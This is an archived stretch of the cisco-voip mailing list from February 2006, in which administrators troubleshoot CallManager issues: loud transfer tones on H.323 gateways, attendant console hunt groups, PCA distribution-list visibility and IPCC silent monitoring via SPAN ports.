> Ip Communicator version 2.0 running on two seperate machines. One  
> is Win 2k SP4 and the other is Win XP SP 2.  Communicators are  
> setup to share the hard phone extension.  Calls placed internally  
> work fine but when trying to call external, the call will ring once  
> then go fast busy.  I am still collecting more info but putting out  
> the feelers to see if anyone else has had same or similar issues.
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From lelio at uoguelph.ca  Thu Feb 23 22:56:11 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Thu Feb 23 22:56:16 2006
Subject: [cisco-voip] Cisco PCA and public distribution lists...
Message-ID: <006901c638f6$426826b0$c901a8c0@deadfish>

We're fooling around with Cisco PCA (http://unity/ciscopca) and I've found a disturbing revelation. In the private lists section, under add new members, distribution lists, we see all the public distribution lists that we have available, even if the Show distribution list in e-mail server address book is unchecked, and I am not a member of the distribution list.

I can not find anything in the Unity SA pages to prevent this. The CoS has nothing checked. 

Anyone have any ideas?
--------------------------------------------------------------------------------
Lelio Fulgenzi, B.A.
Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
(519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
"I had a coffee and Coke at lunch today...and now, I've got more jitter than an
IP phone on a long haul 10base2 connection"                                           LFJ
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From SPackett at fenwick.com  Fri Feb 24 05:15:03 2006
From: SPackett at fenwick.com (Stu Packett)
Date: Fri Feb 24 05:15:14 2006
Subject: [cisco-voip] Callers Hear Beeps When Being Transferred
Message-ID: <965C0255FD5828438E34F9A68ECA76E740AB5C@svcexch02.firm.fenwick.llp>

Is there a way to configure what CM tells the gateway?  What I'm really
looking for is a nice workaround for this loud tone.  Could I use some
sort of silent tone on hold or maybe a silent MOH? 

-----Original Message-----
From: Ryan Ratliff [mailto:rratliff at cisco.com] 
Sent: Thursday, February 23, 2006 1:07 PM
To: Stu Packett
Cc: Wes Sisk; cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Callers Hear Beeps When Being Transferred

If your gateway is H.323 then the CM timers have no effect.  CM just
tells the gateway to play tone xx and that corresponds to tone on hold.

-Ryan

On Feb 23, 2006, at 1:26 PM, Stu Packett wrote:

I did 'debug voip dspapi detail' and 'term mon', but no output.  I'm
sure I'm using this voice-port because there's only one on the router
and when I do a 'show call active voice compact', I see the call there.

I do not have 'MTP Enabled' in CCMAdmin.

I just sent another email, but the Tone on Hold seems to only take
effect on IP to IP calls, not IP to gateways calls.  Is this normal
operation?

-----Original Message-----
From: Wes Sisk [mailto:wsisk at cisco.com]
Sent: Wednesday, February 15, 2006 4:35 PM
To: Stu Packett
Cc: erickbe at yahoo.com; cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Callers Hear Beeps When Being Transferred

in h323 we only send a message to the GW that says 'hey, play tone 53' ,
well maybe not 53, but still just an index into an array.

if changing the OA on the voice port did not make a difference, then are
you 100% certain the call is routing through this voice port? was the
ipphone user's voice notably softer when you performed the test?
on the gateway when call volume is low turn on 'debug dspapi detail'
or 'debug voip dspapi detail' depending on your IOS version:
http://www.cisco.com/univercd/cc/td/doc/product/software/
ios124/124tcr/tdb_r/dbg_d1ht.htm#wp1083071

and look for a message like:
Aug 27 22:02:49.159: //19930/9C188849A6CA/DSPAPI/[1/0:23 (19930)]/
dsp_inband_tone_on:
      Tone ID=1, Direction=1, Num frequencies=2
      Frequency(hz): a=440 b=480, Amplitude(dB): a=-16.0 b=-16.0
      Cadence1(ms): ON=2000 OFF=4000
      Cadence2(ms): ON=0 OFF=0
      Cadence3(ms): ON=0 OFF=10000
      Cadence4(ms): ON=0 OFF=0
      Frequency(hz): a2=0 b2=0 a3=0 b3=0 a4=25799 b4=39688
      ITO option group: 1
Aug 27 22:02:53.027: //19930/9C188849A6CA/DSPAPI/[1/0:23 (19930)]/
dsp_query_info

Anyone know offhand what telephony tone is 440+480?

Do you have 'MTP Enabled' select on your h323 gateway config in
CCMAdmin?

/Wes

On Feb 15, 2006, at 7:06 PM, Stu Packett wrote:

I tried setting the output attenuation to 6 and that did not seem to
help.  I also changed the Tone on Hold Timer to 200000 and 0, but it
kept playing every 10 seconds.  The Tone on Hold Timer documentation
says for non-MGCP devices, if it's set to 200000, it will not play, but
it still plays.  This seems to be the best solution for me if it works.

I'm on H.323 gateways.  I've restarted my phone, but not the
CallManager.  Doesn't these clusterwide settings take effect
immediately?  Do I have a possible bug?

By the way, the beeps are LOUD.  Loud to the point where you have to
take the phone off your ear.

-----Original Message-----
From: Erick Bergquist [mailto:erickbe at yahoo.com]
Sent: Wednesday, February 15, 2006 2:22 PM
To: Wes Sisk; Stu Packett
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Callers Hear Beeps When Being Transferred

You can also adjust the "Tone on Hold Timer (sec)* "
timer under call manager service parameters. If you set this to 200000
the tone will be disabled.

--- Wes Sisk <wsisk at cisco.com> wrote:

> that looks reasonable.  any chance you can set OA=6 and test.  i 
> suspect  the PSTN caller will faintly hear the IPPhone user with that 
> config, but it will confirm we are going down the right path.
>
> /Wes
> On Feb 15, 2006, at 11:12 AM, Stu Packett wrote:
>
> Below are my settings on the H.323 gateway.
>
> voice-port 0/0/0:23
>   input gain -1
>   output attenuation 3
>   echo-cancel coverage 24
>   bearer-cap Speech
>
> From: Lelio Fulgenzi [mailto:lelio at uoguelph.ca]
> Sent: Wednesday, February 15, 2006 8:02 AM
> To: Wes Sisk; Stu Packett
> Cc: cisco-voip at puck.nether.net
> Subject: Re: [cisco-voip] Callers Hear Beeps When Being Transferred
>
> Would this not also modify the volume of the voices themselves?
>
>
------------------------------------------------------------------------
>
> --------
> Lelio Fulgenzi, B.A.
> Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
> (519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
>
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> "I had a coffee and Coke at lunch today...and now, I've got more 
> jitter than an IP phone on a long haul 10base2 connection"
>  LFJ
> ----- Original Message -----
> From: Wes Sisk
> To: Stu Packett
> Cc: cisco-voip at puck.nether.net
> Sent: Wednesday, February 15, 2006 9:39 AM
> Subject: Re: [cisco-voip] Callers Hear Beeps When Being Transferred
>
> Callmanager is simply gong to tell the gateway to play a tone.
> what is your output attenuation on your gateway set to?  this is the 
> only thing I am aware of that would modify the loudness of the tone.
>
> /Wes
>
> On Feb 15, 2006, at 2:03 AM, Stu Packett wrote:
>
> CallManager 4.0(2a)sr2c
>
> I got strange one here.  One of my users complained that when he calls

> our main number and asks to be transferred to another employee, he 
> hears two or three beeps when the receptionist transfers his call.
> The problem isn't the beeps itself, but the loudness of the beeps.  I 
> was able to duplicate this issue on my phones, but on my lab phones, 
> it does not do that.
>
> Does anyone know where to find this "beep" setting when callers are 
> transferred?
>
> Thanks in advance.
>
> IRS Circular 230  Disclosure:  To ensure compliance with requirements 
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> ATTENTION:
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From Nick.Kassel at Charles-Stanley.co.uk  Fri Feb 24 08:30:18 2006
From: Nick.Kassel at Charles-Stanley.co.uk (Nick Kassel)
Date: Fri Feb 24 08:30:34 2006
Subject: FW: [cisco-voip] Attendant console & shared lines
Message-ID: <253FAE7A06B11B49A3A29770B2B8BAFC64825B@CSEXCH01.charles-stanley.co.uk>

Wes, 

 

I have now tested shared lines as we want and they will not work for us,
what I would like to do is have all calls go to the receptionist and be
answered by her unless she is physically not there and then by logging
off the calls should route to ring on all the other phones at the same
time, the shared lines did ring on all phones but only one call at a
time can be taken on that number which is no good, this also applies to
the receptionist lines. Is there any way I can do this with the hunt
groups, for example have all calls go to the receptionist first and then
have the rest of the members as a broadcast group?

 

Nick  

 

________________________________

From: Wes Sisk [mailto:wsisk at cisco.com] 
Sent: Wednesday, February 22, 2006 4:34 PM
To: Nick Kassel
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Attendant console & shared lines

 

how often do you expect to be in SRST?  that should be the exception and
not the rule.

Nick Kassel wrote: 

Forgot to mention we are using CM 4.1(3)SR1
 
 
-----Original Message-----
From: Nick Kassel 
Sent: Wednesday, February 22, 2006 3:44 PM
To: 'Wes Sisk'
Subject: RE: [cisco-voip] Attendant console & shared lines
 
Wes
 
We would like to use the attendant console for one of our branch
offices, they have a receptionist who sits on her own and then all the
other staff in one open room, the reason we would like to use a shared
line in the hunt group is so if she is busy or unavailable the calls
will go through to the main room and ring on all the phones so anyone
can answer it. The shared line would sit as the second DN in the hunt
group. Also in SRST for our main line coming in the only way we can get
all the phones to ring at the same time would be to have shared lines.
We did look at broadcast hunt groups for our main numbers but due to the
SRST issue and also the problem of not being able to set up a unity
mailbox for the main line decided not to go with them.
 
Nick  
 
 
-----Original Message-----
From: Wes Sisk [mailto:wsisk at cisco.com] 
Sent: Wednesday, February 22, 2006 2:30 PM
To: Nick Kassel
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Attendant console & shared lines
 
it depends on where you use the shared line and what version of CM you 
are on.
 
we say DO NOT DO IT because CTI control of shared lines does not work 
well.  There are several call flows and state transitions that do not 
work and cause the CTI application (TCD in this case) to become
confused.
 
AC client itself in older version of CM would allow you to attempt to 
control a shared line and that appeared to work until you hit one of the
 
untested state transitions. The the client went Later versions of
 
ACClient will not even allow you to open/control a shared line for this 
reason.
 
It's just not a good idea to use ACClient to attempt to control a shared
 
line.
 
A shared line can exist in a huntgroup with some mixed results, but why?
 
Why not just use a broadcast huntgroup?
 
/Wes
 
Nick Kassel wrote:
  

	I know in the documentation is says that you must not use shared
lines
	    

 
  

	with the attendant console but I have been told by someone that
this 
	can be done, I would like to use 1 shared line in the hunt
group, has 
	anyone tried this before and does it work?
	 
	 
	 
	 
	 
	 
	 
	 
	 
	    

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From rratliff at cisco.com  Fri Feb 24 08:32:39 2006
From: rratliff at cisco.com (Ryan Ratliff)
Date: Fri Feb 24 08:32:34 2006
Subject: [cisco-voip] Callers Hear Beeps When Being Transferred
In-Reply-To: <965C0255FD5828438E34F9A68ECA76E740AB5C@svcexch02.firm.fenwick.llp>
References: <965C0255FD5828438E34F9A68ECA76E740AB5C@svcexch02.firm.fenwick.llp>
Message-ID: <BCECF7C7-C4D2-423E-951E-67F7D2941900@cisco.com>

Configure a multicast MOH source and limit the hops on it so that the  
source cannot reach the gateway.  Or just don't route mutlicast.   
This way CM will think it is setting up a MOH stream and will tell  
the gateway to listen to a source that will not actually reach the  
router.

-Ryan

On Feb 24, 2006, at 5:15 AM, Stu Packett wrote:

Is there a way to configure what CM tells the gateway?  What I'm really
looking for is a nice workaround for this loud tone.  Could I use some
sort of silent tone on hold or maybe a silent MOH?

-----Original Message-----
From: Ryan Ratliff [mailto:rratliff at cisco.com]
Sent: Thursday, February 23, 2006 1:07 PM
To: Stu Packett
Cc: Wes Sisk; cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Callers Hear Beeps When Being Transferred

If your gateway is H.323 then the CM timers have no effect.  CM just
tells the gateway to play tone xx and that corresponds to tone on hold.

-Ryan

On Feb 23, 2006, at 1:26 PM, Stu Packett wrote:

I did 'debug voip dspapi detail' and 'term mon', but no output.  I'm
sure I'm using this voice-port because there's only one on the router
and when I do a 'show call active voice compact', I see the call there.

I do not have 'MTP Enabled' in CCMAdmin.

I just sent another email, but the Tone on Hold seems to only take
effect on IP to IP calls, not IP to gateways calls.  Is this normal
operation?

-----Original Message-----
From: Wes Sisk [mailto:wsisk at cisco.com]
Sent: Wednesday, February 15, 2006 4:35 PM
To: Stu Packett
Cc: erickbe at yahoo.com; cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Callers Hear Beeps When Being Transferred

in h323 we only send a message to the GW that says 'hey, play tone 53' ,
well maybe not 53, but still just an index into an array.

if changing the OA on the voice port did not make a difference, then are
you 100% certain the call is routing through this voice port? was the
ipphone user's voice notably softer when you performed the test?
on the gateway when call volume is low turn on 'debug dspapi detail'
or 'debug voip dspapi detail' depending on your IOS version:
http://www.cisco.com/univercd/cc/td/doc/product/software/
ios124/124tcr/tdb_r/dbg_d1ht.htm#wp1083071

and look for a message like:
Aug 27 22:02:49.159: //19930/9C188849A6CA/DSPAPI/[1/0:23 (19930)]/
dsp_inband_tone_on:
       Tone ID=1, Direction=1, Num frequencies=2
       Frequency(hz): a=440 b=480, Amplitude(dB): a=-16.0 b=-16.0
       Cadence1(ms): ON=2000 OFF=4000
       Cadence2(ms): ON=0 OFF=0
       Cadence3(ms): ON=0 OFF=10000
       Cadence4(ms): ON=0 OFF=0
       Frequency(hz): a2=0 b2=0 a3=0 b3=0 a4=25799 b4=39688
       ITO option group: 1
Aug 27 22:02:53.027: //19930/9C188849A6CA/DSPAPI/[1/0:23 (19930)]/
dsp_query_info

Anyone know offhand what telephony tone is 440+480?

Do you have 'MTP Enabled' select on your h323 gateway config in
CCMAdmin?

/Wes

On Feb 15, 2006, at 7:06 PM, Stu Packett wrote:

I tried setting the output attenuation to 6 and that did not seem to
help.  I also changed the Tone on Hold Timer to 200000 and 0, but it
kept playing every 10 seconds.  The Tone on Hold Timer documentation
says for non-MGCP devices, if it's set to 200000, it will not play, but
it still plays.  This seems to be the best solution for me if it works.

I'm on H.323 gateways.  I've restarted my phone, but not the
CallManager.  Doesn't these clusterwide settings take effect
immediately?  Do I have a possible bug?

By the way, the beeps are LOUD.  Loud to the point where you have to
take the phone off your ear.

-----Original Message-----
From: Erick Bergquist [mailto:erickbe at yahoo.com]
Sent: Wednesday, February 15, 2006 2:22 PM
To: Wes Sisk; Stu Packett
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Callers Hear Beeps When Being Transferred

You can also adjust the "Tone on Hold Timer (sec)* "
timer under call manager service parameters. If you set this to 200000
the tone will be disabled.

--- Wes Sisk <wsisk at cisco.com> wrote:

> that looks reasonable.  any chance you can set OA=6 and test.  i
> suspect  the PSTN caller will faintly hear the IPPhone user with that
> config, but it will confirm we are going down the right path.
>
> /Wes
> On Feb 15, 2006, at 11:12 AM, Stu Packett wrote:
>
> Below are my settings on the H.323 gateway.
>
> voice-port 0/0/0:23
>   input gain -1
>   output attenuation 3
>   echo-cancel coverage 24
>   bearer-cap Speech
>
> From: Lelio Fulgenzi [mailto:lelio at uoguelph.ca]
> Sent: Wednesday, February 15, 2006 8:02 AM
> To: Wes Sisk; Stu Packett
> Cc: cisco-voip at puck.nether.net
> Subject: Re: [cisco-voip] Callers Hear Beeps When Being Transferred
>
> Would this not also modify the volume of the voices themselves?
>
>
------------------------------------------------------------------------
>
> --------
> Lelio Fulgenzi, B.A.
> Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
> (519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
>
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> "I had a coffee and Coke at lunch today...and now, I've got more
> jitter than an IP phone on a long haul 10base2 connection"
>  LFJ
> ----- Original Message -----
> From: Wes Sisk
> To: Stu Packett
> Cc: cisco-voip at puck.nether.net
> Sent: Wednesday, February 15, 2006 9:39 AM
> Subject: Re: [cisco-voip] Callers Hear Beeps When Being Transferred
>
> Callmanager is simply gong to tell the gateway to play a tone.
> what is your output attenuation on your gateway set to?  this is the
> only thing I am aware of that would modify the loudness of the tone.
>
> /Wes
>
> On Feb 15, 2006, at 2:03 AM, Stu Packett wrote:
>
> CallManager 4.0(2a)sr2c
>
> I got strange one here.  One of my users complained that when he calls

> our main number and asks to be transferred to another employee, he
> hears two or three beeps when the receptionist transfers his call.
> The problem isn't the beeps itself, but the loudness of the beeps.  I
> was able to duplicate this issue on my phones, but on my lab phones,
> it does not do that.
>
> Does anyone know where to find this "beep" setting when callers are
> transferred?
>
> Thanks in advance.
>
> IRS Circular 230  Disclosure:  To ensure compliance with requirements
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From erickbe at yahoo.com  Fri Feb 24 08:37:42 2006
From: erickbe at yahoo.com (Erick Bergquist)
Date: Fri Feb 24 08:37:50 2006
Subject: [cisco-voip] IPCC VoIP Monitor
In-Reply-To: <20060223164441.57275.qmail@web37304.mail.mud.yahoo.com>
Message-ID: <20060224133742.97904.qmail@web34312.mail.mud.yahoo.com>

IP Communicator is not supported for agents until IPCC
Express/CRS 4.01 at least per the compatibility
matrix. 

Softphone 1.3(3) is supported per matrix in your
version. 

I am not sure about monitoring on softphone agents or
if there is any issues or restrictions offhand.

http://www.cisco.com/univercd/cc/td/doc/product/voice/sw_ap_to/crscomtx.pdf


--- Brain Whistler <brainwhistler at yahoo.com> wrote:

> Thanks
> 
> I see an error in Application LOG, i.e. " SS1002
> Failed to setup monitor. Exiting"
> 
> I have already completed the workaround as described
> in the guide 
> 
>
http://www.cisco.com/en/US/products/sw/custcosw/ps1846/products_tech_note09186a00801ee853.shtml
> 
> But the error still coming..... Any help ???
> 
> Brain
> 
> --- Jonathan Charles <jonvoip at gmail.com> wrote:
> 
> > Sure, why not.
> > 
> > However.
> > 
> > You will need to SPAN those ports to the IPCC
> > monitor port.
> > 
> > 
> > 
> > J
> > 
> > On 2/23/06, Brain Whistler
> <brainwhistler at yahoo.com>
> > wrote:
> > >
> > > I have Cisco IP Softphones at the Agents and
> > > Supervisor Desktop.
> > >
> > > Does call recording and silent monitor is
> > supported on
> > > IP Softphones or IP Communicator???
> > >
> > > Brain
> > >
> > > --- Erick Bergquist <erickbe at yahoo.com> wrote:
> > >
> > > > I recall this list or theres another list for
> > IPCC
> > > > Express 4.x that add endpoint monitoring from
> > users
> > > > desktop. Before IPCC Express 4.x all
> monitoring
> > > > needed
> > > > a span port on a switch, etc but that changed
> in
> > > > IPCC
> > > > Express 4.x and now theres the span port
> method
> > as
> > > > well as endpoint monitoring.
> > > >
> > > > --- Jordy Leung <jordyl at yahoo.com> wrote:
> > > >
> > > > > Also, not sure for IPCC Express, For IPCC
> > > > > Enterprise, there is list of NIC
> > > > > which will be supported by IPCC.  You need
> to
> > > > check
> > > > > if your agents' and
> > > > > supervisors' PC are installed compliable NIC
> > for
> > > > > silient monitoring.
> > > > >
> > > > >
> > > >
> > >
> > >
> >
>
http://www.cisco.com/en/US/products/sw/custcosw/ps1844/products_tech_note09186a00801f42f9.shtml
> > > > >
> > > > > See if it helps you!
> > > > >
> > > > > --- "Voll, Scott" <Scott.Voll at wesd.org>
> wrote:
> > > > >
> > > > > > And VGW.
> > > > > >
> > > > > >
> > > > > >
> > > > > > ________________________________
> > > > > >
> > > > > > From: cisco-voip-bounces at puck.nether.net
> > > > > >
> [mailto:cisco-voip-bounces at puck.nether.net]
> > On
> > > > > Behalf Of Jonathan
> > > > > > Charles
> > > > > > Sent: Tuesday, February 21, 2006 7:39 AM
> > > > > > To: Brain Whistler
> > > > > > Cc: Cisco Voip
> > > > > > Subject: Re: [cisco-voip] IPCC VoIP
> Monitor
> > > > > >
> > > > > >
> > > > > >
> > > > > > The files are 0K right?
> > > > > >
> > > > > > That's because IPCC sees the call, it just
> > isn't
> > > > > getting data.
> > > > > >
> > > > > > You need to span all of your agents ports
> to
> > the
> > > > > monitor port:
> > > > > >
> > > > > > monitor session 1 source | destination...
> > blah
> > > > > blah
> > > > > >
> > > > > > Make sure you include ALL the agent and
> > > > supervisor
> > > > > ports.
> > > > > >
> > > > > >
> > > > > >
> > > > > > Jonathan
> > > > > >
> > > > > >
> > > > > >
> > > > > >
> > > > > > On 2/21/06, Brain Whistler <
> > > > > brainwhistler at yahoo.com
> > > > > > <mailto:brainwhistler at yahoo.com> > wrote:
> > > > > >
> > > > > > Hi,
> > > > > >
> > > > > > I am running Cisco IPCC Express 3.5.(2)
> > Enhanced
> > > >
> > > > > > edition for contact centre with CCM
> 4.0.(1).
> > > > This
> > > > > is
> > > > > > installed on Dedicated machine where CRA
> > Server,
> > > > > VoIP
> > > > > > Monitor and Historical Reporting is
> > co-resident.
> > > > I
> > > > > > have configured two nic cards as described
> > in
> > > > > > Administration guides.
> > > > > >
> > > > > > Everything is working fine but when is the
> > > > > Supervisor
> > > > > > goes for call recording or Silient Monitor
> > is
> > > > > doesn't
> > > > > > work, although I can see a file created of
> > the
> > > > > > recording of 46 bytes in the folder
> > > > > >
> > > > > > c:\program
> > > > files\cisco\Desktop_config\Audiofiles\,
> > > > > but
> > > > > > nothing more than that.
> > > > > >
> > > > > > Note that I have already configured the
> > switch
> > > > for
> > > > > > SPAN. I have verified my configuration
> with
> > IRIS
> > > > > > sniffer, it is working perfectly and
> > capturing
> > > > RTP
> > > > > > packets but cannot get this successful on
> > IPCC
> > > > > VoIP
> > > > > > Monitor.
> > > > > >
> > > > > > Can anyone help me in it, where I am
> > failing, or
> > > > > does
> > > > > > VoIP Monitor server need to be configured
> > from
> > > > > which
> > > > > > NIC to capture RTP packets.
> > > > > >
> > > > > > Thanks
> > > > > > Brain
> > > > > >
> > > > > >
> > > > > >
> > > >
> > __________________________________________________
> > > > >
> > > > > > Do You Yahoo!?
> > > > > > Tired of spam?  Yahoo! Mail has the best
> > spam
> > > > > protection around
> > > > > > http://mail.yahoo.com
> > > > > >
> > _______________________________________________
> > > > > > cisco-voip mailing list
> > > > > > cisco-voip at puck.nether.net
> > > > > >
> > > > >
> > > >
> >
> https://puck.nether.net/mailman/listinfo/cisco-voip
> > > > > >
> > > > > >
> > > > > >
> > > > > > >
> > > >
> _______________________________________________
> > > > > > cisco-voip mailing list
> > > > > > cisco-voip at puck.nether.net
> > > > > >
> > > > >
> > > >
> >
> https://puck.nether.net/mailman/listinfo/cisco-voip
> > > > > >
> > > > >
> > > > >
> > > > > Jordy Leung
> > > > >
> > > > >
> > __________________________________________________
> > > > > Do You Yahoo!?
> > > > > Tired of spam?  Yahoo! Mail has the best
> spam
> > > > > protection around
> > > > > http://mail.yahoo.com
> > 
> === message truncated ===
> 
> 
> __________________________________________________
> Do You Yahoo!?
> Tired of spam?  Yahoo! Mail has the best spam
> protection around 
> http://mail.yahoo.com 
> 


__________________________________________________
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http://mail.yahoo.com 

From rratliff at cisco.com  Fri Feb 24 08:38:57 2006
From: rratliff at cisco.com (Ryan Ratliff)
Date: Fri Feb 24 08:38:53 2006
Subject: [cisco-voip] Attendant console & shared lines
In-Reply-To: <253FAE7A06B11B49A3A29770B2B8BAFC64825B@CSEXCH01.charles-stanley.co.uk>
References: <253FAE7A06B11B49A3A29770B2B8BAFC64825B@CSEXCH01.charles-stanley.co.uk>
Message-ID: <2C04FF51-3C68-497C-944B-6AC2F69F534D@cisco.com>

Try setting up an AC hunt group that has a CM broadcast hunt group as  
the last member.
So it could look something like the following:
Receptionist Line 1
Receptionist Line 2
Receptionist Line 3
dn 1111

Where dn 1111 is a CM hunt pilot that points to a broadcast hunt  
list.  Make the AC pilot hunt top down and giver the receptionist  
enough lines so that she is never busy on all of them.

-Ryan

On Feb 24, 2006, at 8:30 AM, Nick Kassel wrote:

Wes,


I have now tested shared lines as we want and they will not work for  
us, what I would like to do is have all calls go to the receptionist  
and be answered by her unless she is physically not there and then by  
logging off the calls should route to ring on all the other phones at  
the same time, the shared lines did ring on all phones but only one  
call at a time can be taken on that number which is no good, this  
also applies to the receptionist lines. Is there any way I can do  
this with the hunt groups, for example have all calls go to the  
receptionist first and then have the rest of the members as a  
broadcast group?


Nick


From: Wes Sisk [mailto:wsisk at cisco.com]
Sent: Wednesday, February 22, 2006 4:34 PM
To: Nick Kassel
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Attendant console & shared lines


how often do you expect to be in SRST?  that should be the exception  
and not the rule.

Nick Kassel wrote:

Forgot to mention we are using CM 4.1(3)SR1  -----Original  
Message-----From: Nick Kassel Sent: Wednesday, February 22, 2006 3:44  
PMTo: 'Wes Sisk'Subject: RE: [cisco-voip] Attendant console & shared  
lines Wes We would like to use the attendant console for one of our  
branchoffices, they have a receptionist who sits on her own and then  
all theother staff in one open room, the reason we would like to use  
a sharedline in the hunt group is so if she is busy or unavailable  
the callswill go through to the main room and ring on all the phones  
so anyonecan answer it. The shared line would sit as the second DN in  
the huntgroup. Also in SRST for our main line coming in the only way  
we can getall the phones to ring at the same time would be to have  
shared lines.We did look at broadcast hunt groups for our main  
numbers but due to theSRST issue and also the problem of not being  
able to set up a unitymailbox for the main line decided not to go  
with them. Nick    -----Original Message-----From: Wes Sisk  
[mailto:wsisk at cisco.com] Sent: Wednesday, February 22, 2006 2:30  
PMTo: Nick KasselCc: cisco-voip at puck.nether.netSubject: Re: [cisco- 
voip] Attendant console & shared lines it depends on where you use  
the shared line and what version of CM you are on. we say DO NOT DO  
IT because CTI control of shared lines does not work well.  There are  
several call flows and state transitions that do not work and cause  
the CTI application (TCD in this case) to becomeconfused. AC client  
itself in older version of CM would allow you to attempt to control a  
shared line and that appeared to work until you hit one of the  
untested state transitions. The the client went Later versions of  
ACClient will not even allow you to open/control a shared line for  
this reason. It's just not a good idea to use ACClient to attempt to  
control a shared line. A shared line can exist in a huntgroup with  
some mixed results, but why? Why not just use a broadcast huntgroup? / 
Wes Nick Kassel wrote:
> I know in the documentation is says that you must not use shared lines

> with the attendant console but I have been told by someone that  
> this can be done, I would like to use 1 shared line in the hunt  
> group, has anyone tried this before and does it work?
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From Nick.Kassel at Charles-Stanley.co.uk  Fri Feb 24 09:09:28 2006
From: Nick.Kassel at Charles-Stanley.co.uk (Nick Kassel)
Date: Fri Feb 24 09:13:40 2006
Subject: [cisco-voip] Attendant console & shared lines
Message-ID: <253FAE7A06B11B49A3A29770B2B8BAFC64825C@CSEXCH01.charles-stanley.co.uk>

Thanks Ryan that seems like a good idea but how do I set this number to
forward to a voicemail box out of hours?

-----Original Message-----
From: Ryan Ratliff [mailto:rratliff at cisco.com] 
Sent: Friday, February 24, 2006 1:39 PM
To: Nick Kassel
Cc: Wes Sisk; cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Attendant console & shared lines

Try setting up an AC hunt group that has a CM broadcast hunt group as  
the last member.
So it could look something like the following:
Receptionist Line 1
Receptionist Line 2
Receptionist Line 3
dn 1111

Where dn 1111 is a CM hunt pilot that points to a broadcast hunt  
list.  Make the AC pilot hunt top down and giver the receptionist  
enough lines so that she is never busy on all of them.

-Ryan

On Feb 24, 2006, at 8:30 AM, Nick Kassel wrote:

Wes,


I have now tested shared lines as we want and they will not work for  
us, what I would like to do is have all calls go to the receptionist  
and be answered by her unless she is physically not there and then by  
logging off the calls should route to ring on all the other phones at  
the same time, the shared lines did ring on all phones but only one  
call at a time can be taken on that number which is no good, this  
also applies to the receptionist lines. Is there any way I can do  
this with the hunt groups, for example have all calls go to the  
receptionist first and then have the rest of the members as a  
broadcast group?


Nick


From: Wes Sisk [mailto:wsisk at cisco.com]
Sent: Wednesday, February 22, 2006 4:34 PM
To: Nick Kassel
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Attendant console & shared lines


how often do you expect to be in SRST?  that should be the exception  
and not the rule.

Nick Kassel wrote:

Forgot to mention we are using CM 4.1(3)SR1  -----Original  
Message-----From: Nick Kassel Sent: Wednesday, February 22, 2006 3:44  
PMTo: 'Wes Sisk'Subject: RE: [cisco-voip] Attendant console & shared  
lines Wes We would like to use the attendant console for one of our  
branchoffices, they have a receptionist who sits on her own and then  
all theother staff in one open room, the reason we would like to use  
a sharedline in the hunt group is so if she is busy or unavailable  
the callswill go through to the main room and ring on all the phones  
so anyonecan answer it. The shared line would sit as the second DN in  
the huntgroup. Also in SRST for our main line coming in the only way  
we can getall the phones to ring at the same time would be to have  
shared lines.We did look at broadcast hunt groups for our main  
numbers but due to theSRST issue and also the problem of not being  
able to set up a unitymailbox for the main line decided not to go  
with them. Nick    -----Original Message-----From: Wes Sisk  
[mailto:wsisk at cisco.com] Sent: Wednesday, February 22, 2006 2:30  
PMTo: Nick KasselCc: cisco-voip at puck.nether.netSubject: Re: [cisco- 
voip] Attendant console & shared lines it depends on where you use  
the shared line and what version of CM you are on. we say DO NOT DO  
IT because CTI control of shared lines does not work well.  There are  
several call flows and state transitions that do not work and cause  
the CTI application (TCD in this case) to becomeconfused. AC client  
itself in older version of CM would allow you to attempt to control a  
shared line and that appeared to work until you hit one of the  
untested state transitions. The the client went Later versions of  
ACClient will not even allow you to open/control a shared line for  
this reason. It's just not a good idea to use ACClient to attempt to  
control a shared line. A shared line can exist in a huntgroup with  
some mixed results, but why? Why not just use a broadcast huntgroup? / 
Wes Nick Kassel wrote:
> I know in the documentation is says that you must not use shared lines

> with the attendant console but I have been told by someone that  
> this can be done, I would like to use 1 shared line in the hunt  
> group, has anyone tried this before and does it work?
************************************************************************

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> of which may be legally privileged. It is for the intended recipient
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> Access to this e-mail by any other person is prohibited. If you are
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that there
> may be a delay in processing the instructions received from e-mails
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> acknowledge that e-mails are not secure and you accept the risk  
> ofmalfunction, viruses, unauthorised interference, mis-delivery or
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************************************************************************

************************
>  Charles Stanley & Co. LtdRegistered Office: 25 Luke Street London  
> EC2A 4AR Tel: 0207 739 8200 Fax: 0207 739 7798Registered in England  
> No. 1903304 Charles Stanley Sutherlands and Tozer Wingate are  
> divisions of Charles
Stanley & Co. Ltd
> Authorised and Regulated by the Financial Services Authority, Member
of the
> London Stock Exchange, International Securities Markets Association,
and The London International Financial Futures &
> Options Exchange. This footnote also confirms that this email  
> message has been swept by
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> listinfo/cisco-voip



************************************************************************

***********************

The information contained in this e-mail is strictly confidential,  
some or all
of which may be legally privileged. It is for the intended recipient  
only.
Access to this e-mail by any other person is prohibited. If you are  
not the
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distribution of,
